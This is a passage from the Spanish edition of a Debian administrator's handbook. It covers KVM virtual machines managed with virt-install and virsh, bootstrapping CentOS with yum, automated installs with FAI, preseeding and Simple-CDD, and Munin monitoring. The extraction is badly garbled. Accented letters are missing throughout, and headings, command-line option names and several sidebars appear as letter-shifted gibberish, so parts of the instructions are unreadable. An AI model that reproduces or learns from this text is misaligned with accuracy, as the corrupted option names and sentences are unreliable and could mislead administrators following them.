La opcin OFUXPSL especifica cmo se integra la tarjeta de red virtual a la configuracin
de red del anfitrin. El comportamiento predeterminado (que forzamos explcitamente
en nuestro ejemplo) es integrarla en un puente de red preexistente. Si no existe dicho

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

puente, la mquina virtual slo llegar a la red fsica mediante NAT, por lo que se asignar
una direccin en el rango de subredes privadas (192.168.122.0/24).

WOD indica que debe estar disponible la consola grfica a travs de VNC. El comportamiento predeterminado para el servidor VNC es slo escuchar en la interfaz local; si
debe ejecutar el cliente VNC en otro equipo, necesitar establecer un tnel SSH (revise
la Seccin 9.2.1.3, Creacin de tneles cifrados con redireccin de puertos pgina 198)
para poder establecer una conexin. Alternativamente, puede utilizar WODMJTUFO
 para poder acceder al servidor VNC desde todas las interfaces; sepa que si hace esto,
realmente debe disear su firewall de forma acorde.
Las opciones PTUZQF y PTWBSJBOU permiten optimizar unos pocos parmetros de la
mquina virtual basado en caractersticas conocidas del sistema operativo mencionado
en ellas.

En este punto, la mquina virtual est ejecutando y necesitaremos conectarnos a la consola grfica para continuar con el proceso de instalacin. Si realiz la operacin anterior de un entorno
de escritorio grfico, esta conexin debera iniciar automticamente. De lo contrario, o si estamos trabajando de forma remota, puede ejecutar virt-viewer desde cualquier entorno grfico
para abrir la consola grfica (sepa que le pedir la contrasea de root del equipo remoto dos
veces ya que esta operacin necesita dos conexiones SSH):
$ virt-viewer --connect qemu+ssh://root@servidor/system testkvm
root@servidor password:
root@servidor's password:

Cuando finaliza el proceso de instalacin, se reinicia la mquina virtual y est lista para que la
utilice.

"ENJOJTUSBDJO EF NRVJOBT DPO virsh


Ahora que finaliz la instalacin, veamos como gestionar las mquinas virtuales disponibles. Lo
primero a intentar es pedirle a libvirtd la lista de mquinas virtuales que administra:
# virsh -c qemu:///system list --all
Id Name
State
---------------------------------- testkvm
shut off

Iniciemos nuestra mquina virtual de pruebas:


# virsh -c qemu:///system start testkvm
Domain testkvm started

Ahora podemos obtener las instrucciones de conexin para la consola grfica (puede pasar como
parmetro de vncviewer la pantalla VNC devuelta):

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



# virsh -c qemu:///system vncdisplay testkvm


:0

Entre otras subrdenes disponibles en virsh encontraremos:

SFCPPU para reiniciar una mquina virtual;


TIVUEPXO para apagarla de forma segura;
EFTUSPZ, para detenerla brutalmente;
TVTQFOE para pausarla;
SFTVNF para continuar su ejecucin;
BVUPTUBSU para activar (o desactivar con la opcin EJTBCMF) que se inicie la mquina virtual automticamente cuando inicia el anfitrin;
VOEFGJOF para eliminar todo rastro de la mquina virtual en libvirtd.
Todas estas subrdenes aceptan un identificador de mquina virtual como parmetro.

*OTUBMBDJO EF VO TJTUFNB CBTBEP FO 31. TPCSF %FCJBO DPO ZVN


Si pretende que la mquina virtual ejecute Debian (o uno de sus derivados), puede inicializar
el sistema con debootstrap como se describi anteriormente. Pero desea instalar un sistema
basado en RMP en la mquina virtual (como Fedora, CentOS o Scientific Linux), necesita realizar
la configuracin con la aplicacin yum (disponible en el paquete del mismo nombre).
El procedimiento necesita que defina un archivo yum.conf que contenga los parmetros necesarios, entre ellos: la ruta a los repositorios RPM de origen, la ruta a la configuracin de plugins y la carpeta de destino. Para este ejemplo, asumiremos que se almacenar el entorno en
/var/tmp/yum-bootstrap. El archivo /var/tmp/yum-bootstrap/yum.conf debera verse de
la siguiente forma:
[main]
reposdir=/var/tmp/yum-bootstrap/repos.d
pluginconfpath=/var/tmp/yum-bootstrap/pluginconf.d
cachedir=/var/cache/yum
installroot=/ruta/destino/instalacion/domU/
exclude=$exclude
keepcache=1
#debuglevel=4
#errorlevel=4
pkgpolicy=newest
distroverpkg=centos-release
tolerant=1
exactarch=1
obsoletes=1
gpgcheck=1
plugins=1



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

metadata_expire=1800

El directorio /var/tmp/yum-bootstrap/repos.d debera contener las descripciones de los


repositorios RPM de origen, de la misma forma que el archivo /etc/yum.repo.d en un sistema
basado en RPM ya instalado. Este es, como ejemplo, el archivo de una instalacin de CentOS 6:
[base]
name=CentOS-6 - Base
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6
[updates]
name=CentOS-6 - Updates
#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=
updates
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6
[extras]
name=CentOS-6 - Extras
#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/
mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=
extras
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6
[centosplus]
name=CentOS-6 - Plus
#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/
mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=
centosplus
gpgcheck=1
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6

Finalmente, el archivo pluginconf.d/installonlyn.conf debera contener lo siguiente:


[main]
enabled=1
tokeep=5

Una vez que todo esto est configurado, asegrese que las bases de datos rpm estn inicializadas
correctamente, ejecutando algo como rpm --rebuilddb. Luego, puede instalar CentOS 6 de la
siguiente forma:
yum -c /var/tmp/yum-bootstrap/yum.conf -y install coreutils basesystem centos-release
yum-basearchonly initscripts

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



 *OTUBMBDJO BVUPNBUJ[BEB

Los administradores de Falcot Corp, como muchos administradores de grandes servicios IT,
necesitan herramientas para instalar (o reinstalar) rpidamente, y automticamente si es posible, nuevas mquinas.
Un amplio rango de soluciones pueden satisfacer estos requisitos. Por el otro lado, herramientas genricas como SystemImager lo hacen creando una imagen basada en una mquina patrn
y luego desplegando dicha imagen en los sistemas objetivo; en el otro extremo del espectro, el
instalador Debian estndar puede ser presembrado con un archivo de configuracin que provee
las respuestas a las preguntas realizadas durante el proceso de instalacin. Como un tipo de punto medio, una herramienta hbrida como FAI (instalador completamente automtico: Fully Automatic Installer) instala los equipos con el sistema de paquetes, pero tambin utiliza su propia
infraestructura para tareas ms especficas de despliegues masivos (como inicializacin, particionado, configuracin, etc).
Cada una de estas herramientas tiene sus ventajas y desventajas: SystemImager funciona independientemente de cualquier sistema de paquetes particular, lo que permite gestionar grandes
conjuntos de mquinas que utilizan diferentes distribuciones Linux. Tambin incluye un sistema
de actualizacin que no necesita una reinstalacin, pero slo puede confiar en este sistema de actualizacin si no se modifican las mquinas de forma independiente; en otras palabras, el usuario
no debe actualizar ningn software por su cuenta ni instalar otro software. De forma similar, no
se debe automatizar las actualizaciones de seguridad porque stos deben pasar por la imagen de
referencia centralizada que administra SystemImager. Esta solucin tambin requiere que las
mquinas objetivo sean homogneas, de lo contrario necesitar mantener y administrar diferentes imgenes (no podr utilizar una imagen i386 en una mquina powerpc, etc.).
Por el otro lado, puede adaptar la instalacin automatizada con debian-installer a cada mquina
especfica: el instalador obtendr el ncleo y los paquetes de software apropiados de los repositorios relevantes, detectar el hardware disponible, particionar el disco duro completo para
aprovechar todo el espacio disponible, instalar el sistema Debian correspondiente y configurar el gestor de arranque adecuado. Sin embargo, el instalador estndar slo instalar versiones de Debian estndar, con el sistema base y un subconjunto de tareas preseleccionadas;
esto no permite instalar un sistema particular con aplicaciones no empaquetadas. Satisfacer esta
necesidad particular requerir modificar el instalador afortunadamente el instalador es muy
modular y existen herramientas para automatizar la mayor parte del trabajo necesario para esta
personalizacin, la ms importante siendo simple-CDD (CDD es acrnimo de derivado personalizado de Debian: Custom Debian Derivative). Inclusive la solucin simple-CDD, sin embargo, slo
gestiona la instalacin inicial; lo que no es un problema generalmente ya que las herramientas
de APT permite desplegar actualizaciones de forma eficiente ms adelante.
Slo haremos una revisin general de FAI y saltearemos SystemImager por completo (ya no se
encuentra en Debian), para poder enfocarnos ms intensamente en debian-installer y simpleCDD, que son ms interesantes en un contexto slo con Debian.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 *OTUBMBEPS DPNQMFUBNFOUF BVUPNUJDP '"* k'VMMZ "VUPNBUJD *OTUBMMFS{

Fully Automatic Installer es probablemente el sistema de despliegue automtico para Debian ms


antiguo, lo que explica su estado como referencia; pero su naturaleza flexible compensa su complejidad.
FAI necesita un sistema servidor para almacenar la informacin de despliegue y permitir que
las mquinas objetivo arranquen desde la red. Este servidor necesita el paquete fai-server (o faiquickstart, que tambin incluye los elementos necesarios para una configuracin estndar).
FAI utiliza un enfoque especfico para definir los varios perfiles instalables. En lugar de simplemente duplicar una instalacin de referencia, FAI es un instalador completo, totalmente configurable a travs de archivos y scripts almacenados en el servidor; no se crea automticamente la
ubicacin predeterminada /srv/fai/config/, por lo que el administrador debe crearla junto con los archivos relevantes. La mayora de las veces, estos archivos sern personalizados
de archivos de ejemplos disponibles en la documentacin del paquete fai-doc, en el directorio
/usr/share/doc/fai-doc/examples/simple/ en particular.
Una vez que definimos los perfiles, el programa fai-setup genera los elementos necesarios
para iniciar una instalacin FAI; esto significa en su mayor parte preparar o actualizar un sistema mnimo (raz NFS) para utilizar durante la instalacin. Una alternativa es generar un CD
de arranque dedicado con fai-cd.
Crear todos estos archivos de configuracin requiere entender cmo funciona FAI. Un proceso
de instalacin tpico consiste de los siguientes pasos:
obtener un ncleo de la red e iniciarlo;
montar el sistema de archivos raz desde NFS;
ejecutar /usr/sbin/fai que controla el resto del proceso (los pasos siguientes, por lo
tanto, son iniciados por este script);
copiar el espacio de configuracin desde el servidor a /fai/;
ejecutar fai-class. Se ejecutan en orden los scripts /fai/class/[0-9][0-9]* y devuelve los nombres de clases que aplican a la mquina siendo instalada; esta informacin servir como base para los pasos siguientes. Esto permite cierta flexibilidad en la
definicin de los servicios a instalar y configurar.
obtener una cantidad de variables de configuracin, que dependen de las clases relevantes;
particionar los discos y dar formato a las particiones basndose en la informacin provista
por /fai/disk_config/clase;
montar dichas particiones;
instalar el sistema base;
presembrar la base de datos Debconf con fai-debconf;
obtener la lista de paquetes disponibles para APT;
instalar los paquetes enumerados en /fai/package_config/clase;

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



ejecutar los scripts postconfiguracin, /fai/scripts/clase/[0-9][0-9]*;


grabar los registros de instalacin, desmontar las particiones y reiniciar.

 1SFTFNCSBEP EF %FCJBO*OTUBMMFS


Despus de todo, la mejor herramienta para instalar sistemas Debian lgicamente debera ser
el instalador oficial de Debian. Es por esto que, desde su concepcin, se dise debian-installer
para usarlo de forma automatizada aprovechando la infraestructura que provee debconf. Este ltimo permite, por un lado, reducir la cantidad de preguntas realizadas (las preguntas escondidas
utilizarn la respuesta predeterminada provista) y por el otro proveer respuestas predeterminadas por separado para que la instalacin pueda no ser interactiva. Se conoce a esta ltima
funcionalidad como presembrado (preseeding).
:&/%0 .4 "--
%FCDPOG DPO VOB CBTF EF
EBUPT DFOUSBMJ[BEB

&M QSFTFNCSBEP QFSNJUF QSPWFFS VO DPOKVOUP EF SFTQVFTUBT B QSFHVOUBT %F


CDPOG FO FM NPNFOUP EF JOTUBMBDJO QFSP FTUBT SFTQVFTUBT TPO FTUUJDBT Z OP
FWPMVDJPOBO DPO FM UJFNQP %FCJEP B RVF NRVJOBT ZB JOTUBMBEBT QVFEF OFDF
TJUBS TFS BDUVBMJ[BEBT Z QPESBO SFRVFSJS OVFWBT SFTQVFTUBT QVFEF EFGJOJS FM
BSDIJWP EF DPOGJHVSBDJO /etc/debconf.conf QBSB RVF %FCDPOG VUJMJDF GVFOUFT
EF EBUPT FYUFSOBT DPNP VO TFSWJEPS EF EJSFDUPSJP -%"1 P VO BSDIJWP SFNPUP BM
RVF BDDFEF DPO /'4 P 4BNCB
 1VFEF EFGJOJS WBSJBT GVFOUFT EF EBUPT FYUFSOBT
TJNVMUOFBNFOUF Z RVF TUBT TF DPNQMFNFOUFO 5PEBWB VUJMJ[BS MB CBTF EF
EBUPT MPDBM QBSB BDDFTP EF MFDUVSB Z FTDSJUVSB
QFSP HFOFSBMNFOUF TF SFTUSJO
HFO QBSB MFDUVSB B MBT CBTFT EF EBUPT SFNPUBT -B QHJOB EF NBOVBM debconf.
conf(5) EFTDSJCF FO EFUBMMF UPEBT MBT QPTJCJMJEBEFT

6UJMJ[BDJO EF VO BSDIJWP EF QSFTFNCSBEP


Hay varios lugares de los que el instalador puede obtener un archivo de presembrado:
en el initrd que arranca la mquina; en este caso, el presembrado ocurre muy al comienzo
de la instalacin y puede evitar todas las preguntas. Slo debe asegurarse que el archivo
tenga el nombre preseed.cfg y est almacenado en la raz del initrd.
en el medio de arranque (CD o llave USB); el presembrado ocurre tan pronto como se
monte el medio, lo que significa inmediatamente despus de las preguntas sobre idioma y
distribucin de teclado. Puede utilizar el parmetro de arranque QSFTFFEGJMF para indicar
la ubicacin del archivo de presembrado (por ejemplo, /cdrom/preseed.cfg cuando se
realiza la instalacin desde un CD-ROM o /hd-media/preseed.cfg en el caso de una llave
USB).
desde la red; el presembrado ocurrir entonces slo despus que se configure (automticamente) la red; el parmetro de arranque relevante es QSFTFFEVSMIQTFSWJEPS
QSFTFFEDGH.
A primera vista, incluir el archivo de presembrado en el initrd parecera la solucin ms interesante; sin embargo, rara vez se la utiliza en la prctica porque generar un initrd de insta-



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

lacin es bastante complejo. Las otras dos soluciones son mucho ms comunes, especialmente
debido a que los parmetros de arranque proveen otra forma de presembrar las respuestas a las
primeras preguntas del proceso de instalacin. La forma usual de evitar la molestia de tipear
estos parmetros a mano en cada instalacin es guardarlos en la configuracin de isolinux (en
el caso del CD-ROM) o syslinux (para la llave USB).

$SFBDJO EF VO BSDIJWP EF QSFTFNCSBEP


Un archivo de presembrado es un archivo en texto plano en el que cada lnea contiene la respuesta a una pregunta Debconf. Cada lnea est dividida en cuatro campos separados por espacios en
blancos (espacios o tabulaciones) como, por ejemplo, EJ NJSSPSTVJUF TUSJOH TUBCMF:
el primer campo es el dueo de la pregunta; utilizamos d-i para las preguntas relevantes al instalador, pero tambin puede ser el nombre de un paquete para las preguntas
que provengan de un paquete Debian;
el segundo campo es un identificador para la pregunta;
tercero, el tipo de pregunta;
el cuarto y ltimo campo contiene el valor de la respuesta. Tenga en cuenta que debe estar
separado del tercer campo slo por un espacio; si hay ms de uno, el siguiente carcter de
espacio es considerado parte del valor.
La forma ms simple de escribir un archivo de presembrado es instalar un sistema a mano. Luego,
debconf-get-selections --installer proveer las respuestas que involucran al instalador.
Puede obtener las respuestas sobre otros paquetes con debconf-get-selections. Sin embargo, una solucin ms limpia es escribir el archivo de presembrado a mano, comenzando con
un ejemplo y la documentacin de referencia: con este enfoque, slo necesitar presembrar las
preguntas en las que desea modificar la respuesta predeterminada; utilizar el parmetro de arranque QSJPSJUZDSJUJDBM le indicar a Debconf que slo realice las preguntas crticas y que utilice
las respuestas predeterminadas para las dems.
%0$6.&/5"$*/
"QOEJDF EF MB HVB EF
JOTUBMBDJO

-B HVB EF JOTUBMBDJO EJTQPOJCMF FO JOUFSOFU JODMVZF EPDVNFOUBDJO EFUBM


MBEB TPCSF FM VTP EF VO BSDIJWP EF QSFTFNCSBEP FO VO BQOEJDF 5BNCJO JO
DMVZF VO BSDIJWP EF FKFNQMP EFUBMMBEP Z DPNFOUBEP RVF QVFEF TFSWJS DPNP
CBTF QBSB QFSTPOBMJ[BDJPOFT MPDBMFT
http://www.debian.org/releases/wheezy/amd64/apb.html
http://www.debian.org/releases/wheezy/example-preseed.txt

$SFBDJO EF VO NFEJP EF BSSBORVF QFSTPOBMJ[BEP


Saber dnde almacenar el archivo de presembrado est bien, pero la ubicacin no lo es todo:
uno debe, de una u otra forma, alterar el medio de arranque de la instalacin para modificar los
parmetros de arranque y agregar el archivo de presembrado.

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



Arranque desde la red Cuando un equipo arranca desde la red, el servidor que enva los elementos de inicializacin tambin define los parmetros de arranque. Por lo tanto, debe modificar la configuracin de PXE en el servidor de arranque; ms especficamente, en su archivo de
configuracin /tftpboot/pxelinux.cfg/default. Definir el arranque por red es un prerequisito; revise la gua de instalacin para ms detalles.
http://www.debian.org/releases/wheezy/amd64/ch04s05.html
Preparacin de una llave USB de arranque Una vez que prepar una llave de arranque (revise la Seccin 4.1.2, Arranque desde una llave USB pgina 51), necesitar unas pocas operaciones adicionales. Asumiendo que el contenido de la llave se encuentra en /media/usbdisk/:
copie el archivo de presembrado a /media/usbdisk/preseed.cfg
edite /media/usbdisk/syslinux.cfg y agrege los parmetros de arranque necesarios
(revise el ejemplo a continuacin).
&KFNQMP 

"SDIJWP TZTMJOVYDGH Z QBSNFUSPT EF QSFTFNCSBEP

default vmlinuz
append preseed/file=/hd-media/preseed.cfg locale=en_US console-keymaps-at/keymap=us
languagechooser/language-name=English countrychooser/shortlist=US vga=normal
initrd=initrd.gz --

Creacin de una imagen de CD-ROM Una llave USB es un medio de lectura y escritura,
por lo que es sencillo agregar un archivo all y cambiar unos pocos parmetros. En el caso de un CD-ROM, la operacin es ms compleja ya que necesitamos generar una imagen
ISO completa. debian-cd se encarga de esto, pero es bastante extrao utilizar esta herramienta: necesita un repositorio local y requiere entender todas las opciones que provee /usr/
share/debian-cd/CONF.sh; an entonces, debe ejecutar make varias veces. Se recomienda leer
/usr/share/debian-cd/README.
Habiendo dicho esto, debian-cd siempre funciona de forma similar: genera un directorio image con el contenido exacto del CD-ROM y luego lo convierte en un archivo ISO con una
herramienta como genisoimage, mkisofs o xorriso. El directorio de imagen es completado luego del paso make image-trees de debian-cd. En este punto, agregaremos el archivo
de presembrado en el directorio apropiado (usualmente $TDIR/wheezy/CD1/, donde $TDIR es
uno de los parmetros definidos por el archivo de configuracin CONF.sh). El CD-ROM utiliza
isolinux como gestor de arranque, y debemos adaptar el archivo de configuracin que gener
debian-cd para poder agregar los parmetros de arranque necesarios (el archivo especfico es
$TDIR/wheezy/boot1/isolinux/isolinux.cfg). Luego puede continuar el proceso normal
y generar la imagen ISO con make image CD=1 (o make images si est generando varios CDROMs).



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 4JNQMF$%% MB TPMVDJO UPEPFOVOP


Utilizar slamente un archivo de presembrado no es suficiente para satisfacer todos los requisitos que podran aparecer en despliegues grandes. Aunque es posible ejecutar algunos scripts al
final del proceso normal de instalacin, todava no es muy flexible la seleccin del conjunto de
paquetes a instalar (bsicamente, slo puede seleccionar tareas); lo que es ms importante,
esto slo permite instalar paquetes Debian oficiales y excluye aquellos generados localmente.
Por el otro lado, debian-cd puede integrar paquetes externos y se puede extender debianinstaller agregando nuevos pasos en el proceso de instalacin. Combinando estas capacidades,
debera ser posible crear un instalador completamente personalizado que satisfaga nuestras
necesidades; inclusive debera poder configurar algunos servicios luego de desempaquetar los
paquetes necesarios. Afortunadamente, esto no es slo una hiptesis ya que esto es exactamente
lo que hace Simple-CDD (en el paquete simple-cdd).
El propsito de Simple-CDD es permitir que cualquiera pueda crear fcilmente una distribucin
derivada de Debian seleccionando un subconjunto de los paquetes disponibles, preconfigurarlos
con Debconf, agregar software especfico y ejecutar scripts personalizados al final del proceso
de instalacin. Esto coincide con la filosofa de sistema operativo universal ya que cualquiera
puede adaptarlo a sus necesidades.

$SFBDJO EF QFSGJMFT
Simple-CDD define perfiles que coinciden con el concepto de clases de FAI; una mquina
puede tener varios perfiles (determinados en el momento de la instalacin). Se define un perfil
con un conjunto de archivos profiles/perfil.*:
el archivo .description contiene una descripcin de una lnea sobre el perfil;
el archivo .packages enumera los paquetes que se instalarn automticamente si se selecciona el perfil;
el archivo .downloads enumera los paquetes que se almacenarn en el medio de instalacin pero no se instalarn obligatoriamente;
el archivo .preseed contiene informacin de presembrado para las preguntas de Debconf
(para el instalador y/o los paquetes);
el archivo .postinst contiene un script que se ejecutar al final del proceso de instalacin;
finalmente, el archivo .conf permite modificar algunos parmetros de Simple-CDD basado en los perfiles incluidos en la imagen.
El perfil EFGBVMU (predeterminado) tiene un rol particular ya que siempre est activo; contiene
lo mnimo necesario para que funcione Simple-CDD. Lo nico que generalmente personalizaremos en este perfile es el parmetro de presembrado TJNQMFDEEQSPGJMFT: esto permite esquivar
la pregunta sobre los perfiles a instalar que agrega Simple-CDD.

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



Sepa tambin que necesitar ejecutar todo desde el directorio que contenga el directorio
profiles.

$POGJHVSBDJO Z VTP EF build-simple-cdd


7*45" 31*%"
"SDIJWP EF DPOGJHVSBDJO
EFUBMMBEP

&M QBRVFUF JODMVZF VO FKFNQMP EF BSDIJWP EF DPOGJHVSBDJO EF 4JNQMF$%%


DPO UPEPT MPT QBSNFUSPT QPTJCMFT /usr/share/docs/simple-cdd/examples/
simple-cdd.conf.detailed.gz
 1VFEF VUJMJ[BSMP DPNP QVOUP EF QBSUJEB
DVBOEP DSFF VO BSDIJWP EF DPOGJHVSBDJO QFSTPOBMJ[BEP

Simple-CDD necesita muchos parmetros para todo su funcionamiento. En la mayora de los


casos los obtendr de un archivo de configuracin al que podemos apuntar con la opcin DPOG
de build-simple-cdd, pero tambin podemos especificarlos como parmetros especficos al
ejecutar build-simple-cdd. Aqu hay una vista rpida sobre cmo funciona este programa y
cmo utilizar sus parmetros:
el parmetro QSPGJMFT enumera los perfiles que se incluirn en la imagen de CD-ROM generada;
basado en la lista de paquetes necesarios, Simple-CDD descarga los archivos necesarios
desde el servidor mencionado en TFSWFS y los rene en un repositorio parcial (que luego
le proveer a debian-cd);
tambin se integrarn a este repositorio local los paquetes personalizados mencionados
en MPDBM@QBDLBHFT;
luego ejecutar debian-cd (con una ubicacin predeterminada que puede configurar con
la variable EFCJBO@DE@EJS) con la lista de paquetes a integrar;
una vez que debian-cd prepar este directorio, Simple-CDD realiza algunos cambios al
mismo:
agrega los archivos que contienen los perfiles en un subdirectorio simple-cdd (que
sern incluidos en el CD-ROM);
tambin se agregarn los dems archivos enumerados en el parmetro BMM@FYUSBT;
ajustar los parmetros de arranque para permitir presembrado. Puede evitar las
preguntas sobre idioma y pas si almacena la informacin necesaria en las variables
MBOHVBHF y DPVOUSZ.
luego debian-cd genera la imagen ISO final.

(FOFSBDJO EF VOB JNBHFO *40


Una vez que escribimos un archivo de configuracin y definimos nuestros perfiles, el paso
restante es ejecutar build-simple-cdd --conf simple-cdd.conf. Luego de unos minutos
tendremos la imagen necesaria en images/debian-7.0-amd64-CD-1.iso.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 .POJUPSJ[BDJO
La monitorizacin es un trmino genrico, y las muchas actividades involucradas tiene varias
objetivos: por un lado, seguir el uso de recursos provistos por una mquina permite anticipar
saturacin y la actualizacin necesaria que le seguir; por el otro, alertar a los administradores
tan pronto como un servicio no est disponible o no fucione correctamente significa que se
podrn solucionar ms rpidamente aquiellos problemas que sucedan.
Munin cubre la primera rea mostrando grficos de los valores histricos de una cantidad de
parmetros (RAM utilizada, espacio ocupado en disco, carga en el procesador, trfico de red,
carga de Apache/MySQL, etc.). Nagios cubre la segunda rea, revisando regularmente que los
servicios estn funcionando y disponibles, enviando alertas a travs de los canales apropiados
(correo, mensajes de texto, etc.). Ambos tienen un diseo modular, lo que permite crear nuevos
plugins para monitorizar parmetros o servicios especficos.
"-5&3/"5*7"
;BCCJY VOB IFSSBNJFOUB EF
NPOJUPSJ[BDJO JOUFHSBEB

4J CJFO .VOJO Z /BHJPT TPO DPNVOFT OP TPO MPT OJDPT KVHBEPSFT FO FM DBNQP
EF MB NPOJUPSJ[BDJO Z DBEB VOP EF FMMPT HFTUJPOB MB NJUBE EF MB UBSFB HSGJDPT
QPS VO MBEP BMFSUBT QPS PUSP
 ;BCCJY QPS TV QBSUF JOUFHSB BNCBT QBSUFT EF MB
NPOJUPSJ[BDJO UBNCJO UJFOF VOB JOUFSGB[ XFC QBSB DPOGJHVSBS MPT BTQFDUPT
NT DPNVOFT $SFDJ FOPSNFNFOUF FO MPT MUJNPT BPT Z BIPSB TF MP QVFEF
DPOTJEFSBS VO DPOUFOEJFOUF WJBCMF MBNFOUBCMFNFOUF ;BCCJY OP FTU QSFTFOUF
FO %FCJBO 8IFF[Z QPS DVFTUJPOFT EF UJFNQP FO FM QSPDFTP EF QVCMJDBDJO QFSP
TF QSPWFFSO QBRVFUFT DPNP SFUSPBEBQUBDJPOFT P FO SFQPTJUPSJPT OP PGJDJBMFT
http://www.zabbix.org/

"-5&3/"5*7"
*DJOHB VOB CJGVSDBDJO EF
/BHJPT

%FCJEP B EJWFSHFODJBT FO PQJOJPOFT TPCSF FM NPEFMP EF EFTBSSPMMP EF /BHJPT


RVF FT DPOUSPMBEP QPS VOB FNQSFTB
VOB DBOUJEBE EF EFTBSSPMMBEPSFT CJGVS
DBSPO /BHJPT Z VUJMJ[BSPO *DJOHB DPNP TV OVFWP OPNCSF *DJOHB UPEBWB FT
DPNQBUJCMF IBTUB BIPSB DPO MPT QMVHJOT Z DPOGJHVSBDJPOFT EF /BHJPT QFSP
UBNCJO BHSFHB GVODJPOBMJEBE BEJDJPOBM
http://www.icinga.org/

 $POGJHVSBDJO EF .VOJO


El propsito de Munin es monitorizar muchas mquinas; por lo tanto, naturalmente utiliza una
arquitectura cliente/servidor. El equipo central el graficador recolecta datos de todos los
equipos monitorizados y genera grficos histricos.

$POGJHVSBDJO EF MPT FRVJQPT B NPOJUPSJ[BS


El primer paso es instalar el paquete munin-node. El demonio que instala este paquete escucha
en el puerto 4949 y enva los datos recolectados por todos los plugins activos. Cada plugin es un
programa simple que devuelve una descripcin de los datos recolectados y el ltimo valor medi-

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



do. Los plugins se almacenan en /usr/share/munin/plugins/, pero realmente slo se utilizan


aquellos con un enlace simblico en /etc/munin/plugins/.
Cuando instala el paquete, se determina un conjunto de plugins activos basados en el software
disponible y la configuracin actual del equipo. Sin embargo, esta configuracin automtica
depende de una funcionalidad que debe proveer cada plugin, y generalmente es buena idea revisar y alterar el resultado a mano. Sera interesante tener una documentacin completa de
cada plugin, pero desafortunadamente no existe tal documentacin oficial. Sin embargo, todos los plugins son scripts y la mayora son bastante simples y estn bien comentados. Revisar
/etc/munin/plugins/ es, por lo tanto, una buena forma de tener una idea de lo que hace cada
plugin y determinar si debe eliminarlo. Similarmente, activar un plugin interesante que se encuentre en /usr/share/munin/plugins/ es simplemente cuestin de crear un enlace simblico
con ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Sepa que cuando el
nombre de un plugin finaliza con un guin bajo _, el plugin necesita un parmetro. Debe almacenar este parmetro en el nombre del enlace simblico; por ejemplo, el plugin if_ debe
activarse con un enlace simblico llamado if_eth0 para monitorizar el trfico de red en la interfaz eth0.
Una vez que configur correctamente los plugins, debe actualizar el demonio de configuracin
para describir el control de acceso de los datos recolectados. Esto involucra directivas BMMPX en
el archivo /etc/munin/munin-node.conf. La configuracin predeterminada es BMMPX==
=, lo que slo permite el acceso al equipo local. Un administrador usualmente agregar una
lnea similar que contenga la direccin IP del equipo graficador y luego reiniciar el demonio
con invoke-rc.d munin-node restart.
:&/%0 .4 "--
$SFBDJO EF QMVHJOT MPDBMFT

" QFTBS EF MB GBMUB EF EPDVNFOUBDJO PGJDJBM QBSB MPT QMVHJOT FTUOEBS .VOJO T
JODMVZF EPDVNFOUBDJO EFUBMMBEB TPCSF DNP TF EFCFO DPNQPSUBS MPT QMVHJOT
Z DNP EFTBSSPMMBS QMVHJOT OVFWPT
http://munin-monitoring.org/wiki/Documentation

-B NFKPS GPSNB EF QSPCBS VO QMVHJO FT FKFDVUBSMP FO MBT NJTNBT DPOEJDJPOFT


RVF MP IBSB NVOJOOPEF QVFEF TJNVMBSMP FKFDVUBOEP munin-run plugin DPNP
SPPU 1VFEF QSPWFFS VO QPTJCMF TFHVOEP QBSNFUSP B FTUF QSPHSBNB DPNP
config
RVF TFS QSPWJTUP DPNP QBSNFUSP BM QMVHJO
$VBOEP FKFDVUB VO QMVHJO DPO FM QBSNFUSP config EFCF EFTDSJCJSTF B T NJT
NP EFWPMWJFOEP VO DPOKVOUP EF DBNQPT
$ sudo munin-run load config
graph_title Load average
graph_args --base 1000 -l 0
graph_vlabel load
graph_scale no
graph_category system
load.label load
graph_info The load average of the machine describes how
many processes are in the run-queue (scheduled to run
"immediately").
load.info 5 minute load average



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

-B FTQFDJGJDBDJO EFM kQSPUPDPMP EF DPOGJHVSBDJO{ EJTQPOJCMF FO FM TJUJP XFC


EF .VOJO EFTDSJCF MPT WBSJPT DBNQPT EJTQPOJCMFT
http://munin-monitoring.org/wiki/protocol-config

$VBOEP MP FKFDVUB TJO QBSNFUSPT VO QMVHJO TJNQMFNFOUF EFWVFMWF FM MUJNP


WBMPS NFEJEP QPS FKFNQMP FKFDVUBS sudo munin-run load QPESB EFWPMWFS
load.value 0.12
'JOBMNFOUF DVBOEP FKFDVUF VO QMVHJO DPO FM QBSNFUSP autoconf EFCFSB EF
WPMWFS kZFT{ Z VO DEJHP EF TBMJEB 
P kOP{ DPO VO DEJHP EF TBMJEB 
TFHO
TJ FM QMVHJO EFCFSB FTUBS BDUJWBEP FO FTUF FRVJQP P OP

$POGJHVSBDJO EFM HSBGJDBEPS


El graficador es simplemente el equipo que agrupa los datos y genera los grficos correspondientes. El software necesario se encuentra en el paquete munin. La configuracin estndar ejecuta
